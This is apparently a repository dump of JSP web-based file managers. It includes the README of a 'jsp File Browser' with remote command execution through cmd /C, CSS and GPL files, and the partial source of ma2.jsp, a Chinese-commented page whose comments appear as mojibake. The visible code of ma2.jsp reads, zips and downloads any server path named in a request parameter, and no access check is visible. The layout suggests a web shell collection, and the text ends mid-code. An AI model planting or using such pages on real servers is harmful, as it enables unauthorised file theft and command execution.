the first ten entries of this directory show up. This feature can lead to performance issues. If
you observe slow loading times you should change this line:
private static final boolean USE_DIR_PREVIEW = true;
to
private static final boolean USE_DIR_PREVIEW = false;
You could also change the number of entries in the preview by changing this line:
private static final int DIR_PREVIEW_NUMBER = 10;
If you would like to execute commands on the server, you have to specify a
command line interpreter and the parameter to execute a command.
This is the parameter for windows:
private static final String[] COMMAND_INTERPRETER = {"cmd","/C"};
The maximum time in ms a command is allowed to run before it will be terminated is specified
by this line:
private static final long MAX_PROCESS_RUNNING_TIME = 30000;
You can restrict file browsing and manipulation by setting
private static final boolean RESTRICT_BROWSING = true;
You can choose between whitelist restriction, that means the user is allowed to browse only in
directories, which are lower than RESTRICT_PATH, or blacklist restriction, which allows
the user to access all directories besides RESTRICT_PATH.
private static final boolean RESTRICT_WHITELIST = true;
You can set more than one directory in RESTRICT_PATH, seperated by semicolon.
It is also possible to make the file browser read-only. All operations which change the
file structure (besides upload and native command execution) are forbidden and turned off.
To achieve this change
private static final boolean READ_ONLY = false;
to
private static final boolean READ_ONLY = true;
.
You can also turn off upload with
private static final boolean ALLOW_UPLOAD = false; .
If you restrict file access it is also recommend to forbid native command execution by
changing
private static final boolean NATIVE_COMMANDS = true;
to
private static final boolean NATIVE_COMMANDS = false;
.
------------------------USAGE
This JSP program allows remote web-based file access and manipulation.
You can copy, create, move, rename and delete files.
Text files can be edited and groups of files and folders can be downloaded
as a single zip file that is created on the fly.
http://server/webapp/Browser.jsp
or
http://server/webapp/Browser.jsp?dir=[Directory on the server]
You do not need a javascript capable browser, but it looks nicer with it.
If you want to copy or move a file, please enter the target directory name in the
edit field (absolute or relative). If you want to create a new file or directory,
enter the name in the edit field.
If you click on a header name (e.g. size) the entries will be sorted by this property.
If you click two times, they will be sorted descending.
The button "Download as zip" let you download the selected directories and files packed as
one zip file.
The buttons "Delete Files", "Move Files", "Copy Files", delete, move and copy also selected
directories with subdirectories.
If you click on a .zip or .jar filename, you will see the entries of the packed file.
You can unpack .zip, .jar and .gz direct on the server. For this filetype the entry in the
last column is "Unpack". If you click at the "Unpack" link, the file will be unpacked in
the current folder. Note, that you can only unpack a file, if no entry of the packed file
already exist in the directory (no overwriting). If you want to unpack this file, you have
to delete the files on the server which correspond to the entries. This feature is very useful,
if you would like to upload more than one file. Zip the files together on your computer,
then upload the zip file and extract it on the server.
You can execute commands on the server (if you are allowed to) by clicking the "Launch command"
button, but beware that you cannot interact with the program. If the execution time of the program
is longer than MAX_PROCESS_RUNNING_TIME (standard: 30 sec.) the program will be killed.
If you click on a file, it will be shown, if the MIME Type is supported.
The following MIME Types are supported:
.png image/png
.jpg, .jpeg image/jpeg
.gif image/gif
.tiff image/tiff
.svg image/svg+xml
.pdf application/pdf
.htm, .html, .shtml text/html
.xml text/xml
.avi video/x-msvideo
.mov video/quicktime
.mpg, .mpeg, .mpe video/mpeg
.rtf application/rtf
.mid, .midi, audio/x-midi
.xl,.xls,.xlv,.xla,.xlb,.xlt,.xlm,.xlk application/excel
.doc, .dot application/msword
.mp3 audio/mp3
.ogg audio/ogg
else text/plain
------------------------SHORTKEYS
You can use the following shortkeys for better handling:
r Rename file
m Move file
y Copy file
Del Delete file
l Launch command
z Download selected files as zip
c Create file
d Create directory
------------------------KNOWN BUGS
The JVM from windows will sometimes displays a message box on the server,
if you try to access an empty removable drive. There will be no respond from
the server until the message box is closed.
If someone knows how to fix this, please write me a mail.
Removable drives will not be shown on the list, if you add them to this
property:
private static final String[] FORBIDDEN_DRIVES= {"a:\\"}
like e.g.
private static final String[] FORBIDDEN_DRIVES= {"a:\\", "d:\\", "e:\\"}
------------------------CONTACT
Boris von Loesch
boris@vonloesch.de
------------------------CHANGELOG
1.2 (21.07.2006)
- Shortkeys
- Filter file table
- Fix a bug which appears with Tomcat
- Add parameter to turn jsp filebrowser to a read-only version
- Add parameter to disallow uploads (even in the read-only version)
- Nicer layout
- Javascript will now be cached by the browser therefore smaller page size
- Turned off directory preview by default, because it uses too much resources
1.1a (27.08.2004)
- killed a bug, which appears if you view or download files
- fix upload time display
1.1 (20.08.2004)
- Upload monitor
- Restrict file access
1.0 (13.04.2004)
- if you click two times on a table header, it will be sorted descending
- sort parameter is memorized
- bugfixes (14,11,15)
- added some mime types
1.0RC2 (02.02.2004)
- only bugfixes (3,4,6,9)
1.0RC1 (17.11.2003)
Thanks to David Cowan for code contribution (buffering), bug fixing and testing
- execute native shell commands
- quick change to lower directories paths
- solve homepath problem with Oracle oc4j
- remove two bugs in the upload routine
- add war file unpack and view support
- remove some html errors (page is now valid HTML 4.1 Transitional)
- add buffering for download of files and zip file creation, this increases the speed
0.6 (14.10.2003)
Thanks to David Levine for bug fixes
- Refactor parts of the code
- Viewing and unpacking of .zip, .jar and .gz files on the server
- Customizable layout via external css file (optional)
- Distinction between error and success messages
- Open File in a new window
- "Select all" checkbox
- More options
- Some small changes and bugfixes
0.5 (20.08.2003)
Greetings to Taylor Bastien who contributed a lot of code for this release
- Renaming of files
- File extension in an extra column
- variable filesize unit (bytes, KB or MB)
- Directory preview via tooltip (simple hold the mousecursor over a directory name and
a tooltip with the first ten entries will appear)
- Summary (number and size of all files in the current directory)
- Text editor can save files with dos/windows or unix line ending
- many small changes
0.4 (17.05.2003)
- It does not longer need a temporary directory !
- Jsp 1.1 compatible (works now also in Tomcat 3)
- The file editor can now save the edited file with a new name and can make a backup
- selected row is marked by color and the checkbox can be selected by click at any place in the row
(works only with Javascript)
- some new MIME types (xml, png, svg)
- unreadable files and directories are marked (not selectable)
- write protected files and directories are marked (italic)
- if no dir parameter is assigned, the home directory of the browser will be displayed
- some bugs killed
0.3
- Output is HTML 4.01 conform, should now be netscape>4 compatible
- Messages to indicate the status of an operation
- Many bugs killed
- Tooltips
0.2
- First release
CREDITS
Taylor Bastien
David Levine
David Cowan
Lieven Govaerts
LICENSE
jsp File browser
Copyright (C) 2003-2006 Boris von Loesch
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your option)
any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
this program; if not, write to the
Free Software Foundation, Inc.,
59 Temple Place, Suite 330,
Boston, MA 02111-1307 USA

View File

@@ -0,0 +1,50 @@
input.button { background-color: #EF9C00;
color: #8C5900;
border: 2px outset #EF9C00; }
input.button:Hover { color: #444444 }
input { background-color:#FDEBCF;
border: 2px inset #FDEBCF }
table.filelist { background-color:#FDE2B8;
width:100%;
border:3px solid #ffffff }
th { background-color:#BC001D;
font-size: 10pt;
color:#022F55 }
tr.mouseout { background-color:#F5BA5C; }
tr.mouseout td {border:1px solid #F5BA5C;}
tr.mousein { background-color:#EF9C00; }
tr.mousein td { border-top:1px solid #3399ff;
border-bottom:1px solid #3399FF;
border-left:1px solid #EF9C00;
border-right:1px solid #EF9C00; }
tr.checked { background-color:#B57600 }
tr.checked td {border:1px solid #B57600;}
tr.mousechecked { background-color:#8C5900 }
tr.mousechecked td {border:1px solid #8C5900;}
td { font-family:Verdana, Arial, Helvetica, sans-serif;
font-size: 7pt;
color: #FFF5E8; }
td.message { background-color: #FFFF00;
color: #000000;
text-align:center;
font-weight:bold }
.formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}
.formular2 {margin: 1px;}
A { text-decoration: none;
color: #005073
}
A:Hover { color : #022F55;
text-decoration : underline; }
BODY { font-family:Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
color: #666666;
background-color: #FDE2B8;
}

222
jsp/jspbrowser/gpl.txt Normal file
View File

@@ -0,0 +1,222 @@
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS

1811
jsp/ma1.jsp Normal file

File diff suppressed because it is too large Load Diff

807
jsp/ma2.jsp Normal file
View File

@@ -0,0 +1,807 @@
<%@ page import="java.util.*,java.net.*,java.text.*,java.util.zip.*,java.io.*"%>
<%@ page contentType="text/html;charset=gb2312"%>
<%!
/*
**************************************************************************************
*JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> v1.001 *
*Copyright (C) 2003 by Bagheera *
*E-mail:bagheera@beareyes.com *
*QQ:179189585 *
*http://jmmm.com *
*------------------------------------------------------------------------------------*
*<2A><><EFBFBD><EFBFBD>:<3A>벻Ҫ<EBB2BB><D2AA><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD><DEB8><EFBFBD><EFBFBD>ϰ<EFBFBD>Ȩ<EFBFBD><C8A8>Ϣ! *
**************************************************************************************
*#######<23><><EFBFBD>ѿռ<D1BF><D5BC><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD>У<EFBFBD><D0A3><EFBFBD><EBB5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: *
**http://jmmm.com/web/index.jsp <20><><EFBFBD><EFBFBD><EFBFBD>ʺ<EFBFBD>:test <20><><EFBFBD><EFBFBD>:test *
**************************************************************************************
*/
//<2F><EFBFBD><E0BCAD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
private static final int EDITFIELD_COLS =100;
//<2F><EFBFBD><E0BCAD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
private static final int EDITFIELD_ROWS = 30;
//-----------------------------------------------------------------------------
//<2F>ı<EFBFBD><C4B1>ϴ<EFBFBD><CFB4>ļ<EFBFBD><C4BC>ǵĻ<C7B5><C4BB><EFBFBD>Ŀ¼(һ<><EFBFBD><E3B2BB>Ҫ<EFBFBD>޸<EFBFBD>)
private static String tempdir = ".";
public class FileInfo{
public String name = null,
clientFileName = null,
fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);
public void setFileContents(byte[] aByteArray){
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}
public class HttpMultiPartParser{
private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB=1024*1024*1;
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir)
throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1)
throw new IllegalArgumentException("boundary");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0),
isFile = false;
if (saveFiles){
File f = new File(saveInDir);
f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary))
throw new IOException("δ<><CEB4><EFBFBD><EFBFBD>;"
+" boundary = " + boundary
+", line = " + line);
while (line != null){
if (line == null || !line.startsWith(boundary)) return dataTable;
line = getLine(is);
if (line == null) return dataTable;
stLine = new StringTokenizer(line, ";\r\n");
if (stLine.countTokens() < 2) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
line = stLine.nextToken().toLowerCase();
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
if (stFields.countTokens() < 2) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
fileInfo = new FileInfo();
stFields.nextToken();
paramName = stFields.nextToken();
isFile = false;
if (stLine.hasMoreTokens()){
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1){
if (stFields.nextToken().trim().equalsIgnoreCase("filename")){
fileInfo.name=paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0){
fileInfo.clientFileName=value;
isFile = true;
}
else{
line = getLine(is); // ȥ<><C8A5>"Content-Type:"<22><>
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
line = getLine(is); // <20><>λ
continue;
}
}
}
else if (field.toLowerCase().indexOf("filename") >= 0){
line = getLine(is); // ȥ<><C8A5>"Content-Type:"<22><>
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
line = getLine(is); // <20><>λ
continue;
}
}
boolean skipBlankLine = true;
if (isFile){
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else{
stLine = new StringTokenizer(line, ": ");
if (stLine.countTokens() < 2)
throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
stLine.nextToken();
fileInfo.fileContentType=stLine.nextToken();
}
}
if (skipBlankLine){
line = getLine(is);
if (line == null) return dataTable;
}
if (!isFile){
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
//<2F>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪĿ¼
if (paramName.equals("dir")){
saveInDir = line;
System.out.println(line);
}
line = getLine(is);
continue;
}
try{
OutputStream os = null;
String path = null;
if (saveFiles)
os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line = null;
break;
}
while (readingContent){
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
break;
}
if (compareBoundary(boundary, currentLine)){
os.write( previousLine, 0, read );
os.flush();
line = new String( currentLine, 0, read3 );
break;
}
else{
os.write( previousLine, 0, read );
os.flush();
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
}
}
os.close();
temp = null;
previousLine = null;
currentLine = null;
if (!saveFiles){
ByteArrayOutputStream baos = (ByteArrayOutputStream)os;
fileInfo.setFileContents(baos.toByteArray());
}
else{
fileInfo.file = new File(path);
os = null;
}
dataTable.put(paramName, fileInfo);
}
catch (IOException e) {
throw e;
}
}
return dataTable;
}
// <20>Ƚ<EFBFBD><C8BD><EFBFBD><EFBFBD><EFBFBD>
private boolean compareBoundary(String boundary, byte ba[]){
byte b;
if (boundary == null || ba == null) return false;
for (int i=0; i < boundary.length(); i++)
if ((byte)boundary.charAt(i) != ba[i]) return false;
return true;
}
private synchronized String getLine(ServletInputStream sis) throws IOException{
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1){
line = new String(b, 0, read);
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index-1);
}
b = null;
return line;
}
public String getFileName(String dir, String fileName) throws IllegalArgumentException{
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException("Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('\\');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
}
/**
* <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>
* @author bagheera
* @version 1.001
*/
class FileComp implements Comparator{
int mode=1;
/**
* @<40><><EFBFBD>򷽷<EFBFBD> 1=<3D>ļ<EFBFBD><C4BC><EFBFBD>, 2=<3D><>С, 3=<3D><><EFBFBD><EFBFBD>
*/
FileComp (int mode){
this.mode=mode;
}
public int compare(Object o1, Object o2){
File f1 = (File)o1;
File f2 = (File)o2;
if (f1.isDirectory()){
if (f2.isDirectory()){
switch(mode){
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
default:return 1;
}
}
else return -1;
}
else if (f2.isDirectory()) return 1;
else{
switch(mode){
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
default:return 1;
}
}
}
}
class Writer2Stream extends OutputStream{
Writer out;
Writer2Stream (Writer w){
super();
out=w;
}
public void write(int i) throws IOException{
out.write(i);
}
public void write(byte[] b) throws IOException{
for (int i=0;i<b.length;i++){
int n=b[i];
//Convert byte to ubyte
n=((n>>>4)&0xF)*16+(n&0xF);
out.write (n);
}
}
public void write(byte[] b, int off, int len) throws IOException{
for (int i=off;i<off+len;i++){
int n=b[i];
n=((n>>>4)&0xF)*16+(n&0xF);
out.write (n);
}
}
}
static Vector expandFileList(String[] files, boolean inclDirs){
Vector v = new Vector();
if (files==null) return v;
for (int i=0;i<files.length;i++) v.add (new File(URLDecoder.decode(files[i])));
for (int i=0;i<v.size();i++){
File f = (File) v.get(i);
if (f.isDirectory()){
File[] fs = f.listFiles();
for (int n=0;n<fs.length;n++) v.add(fs[n]);
if (!inclDirs){
v.remove(i);
i--;
}
}
}
return v;
}
static String substr(String s, String search, String replace){
StringBuffer s2 = new StringBuffer ();
int i = 0, j = 0;
int len = search.length();
while ( j > -1 ){
j = s.indexOf( search, i );
if ( j > -1 ){
s2.append( s.substring(i,j) );
s2.append( replace );
i = j + len;
}
}
s2.append( s.substring(i, s.length()) );
return s2.toString();
}
static String getDir (String dir, String name){
if (!dir.endsWith(File.separator)) dir=dir+File.separator;
File mv = new File (name);
String new_dir=null;
if (!mv.isAbsolute()){
new_dir=dir+name;
}
else new_dir=name;
return new_dir;
}
%>
<%
request.setAttribute("dir", request.getParameter("dir"));
String browser_name = request.getRequestURI();
//<2F><EFBFBD>ļ<EFBFBD>
if (request.getParameter("file")!=null){
File f = new File (request.getParameter("file"));
BufferedInputStream reader = new BufferedInputStream(new FileInputStream(f));
int l = f.getName().lastIndexOf(".");
//<2F>ж<EFBFBD><D0B6>ļ<EFBFBD><C4BC><EFBFBD>׺
if (l>=0){
String ext = f.getName().substring(l).toLowerCase();
if (ext.equals(".jpg")||ext.equals(".jpeg")||ext.equals(".jpe"))
response.setContentType("image/jpeg");
else if (ext.equals(".gif")) response.setContentType("image/gif");
else if (ext.equals(".pdf")) response.setContentType("application/pdf");
else if (ext.equals(".htm")||ext.equals(".html")||ext.equals(".shtml")) response.setContentType("text/html");
else if (ext.equals(".avi")) response.setContentType("video/x-msvideo");
else if (ext.equals(".mov")||ext.equals(".qt")) response.setContentType("video/quicktime");
else if (ext.equals(".mpg")||ext.equals(".mpeg")||ext.equals(".mpe"))
response.setContentType("video/mpeg");
else if (ext.equals(".zip")) response.setContentType("application/zip");
else if (ext.equals(".tiff")||ext.equals(".tif")) response.setContentType("image/tiff");
else if (ext.equals(".rtf")) response.setContentType("application/rtf");
else if (ext.equals(".mid")||ext.equals(".midi")) response.setContentType("audio/x-midi");
else if (ext.equals(".xl")||ext.equals(".xls")||ext.equals(".xlv")||ext.equals(".xla")
||ext.equals(".xlb")||ext.equals(".xlt")||ext.equals(".xlm")||ext.equals(".xlk"))
response.setContentType("application/excel");
else if (ext.equals(".doc")||ext.equals(".dot")) response.setContentType("application/msword");
else if (ext.equals(".png")) response.setContentType("image/png");
else if (ext.equals(".xml")) response.setContentType("text/xml");
else if (ext.equals(".svg")) response.setContentType("image/svg+xml");
else response.setContentType("text/plain");
}
else response.setContentType("text/plain");
response.setContentLength((int)f.length());
out.clearBuffer();
int i;
while ((i=reader.read())!=-1) out.write(i);
reader.close();
out.flush();
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>Ϊzip<69>ļ<EFBFBD>
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Save as zip"))){
Vector v = expandFileList(request.getParameterValues("selfile"), false);
File dir_file = new File(""+request.getAttribute("dir"));
int dir_l = dir_file.getAbsolutePath().length();
response.setContentType ("application/zip");
response.setHeader ("Content-Disposition", "attachment;filename=\"bagheera.zip\"");
out.clearBuffer();
ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
zipout.setComment("Created by JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1.001");
for (int i=0;i<v.size();i++){
File f = (File)v.get(i);
if (f.canRead()){
zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l+1)));
BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
int b;
while ((b=fr.read())!=-1) zipout.write(b);
fr.close();
zipout.closeEntry();
}
}
zipout.finish();
out.flush();
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
else if (request.getParameter("downfile")!=null){
String filePath = request.getParameter("downfile");
File f = new File(filePath);
if (f.exists()&&f.canRead()) {
response.setContentType ("application/octet-stream");
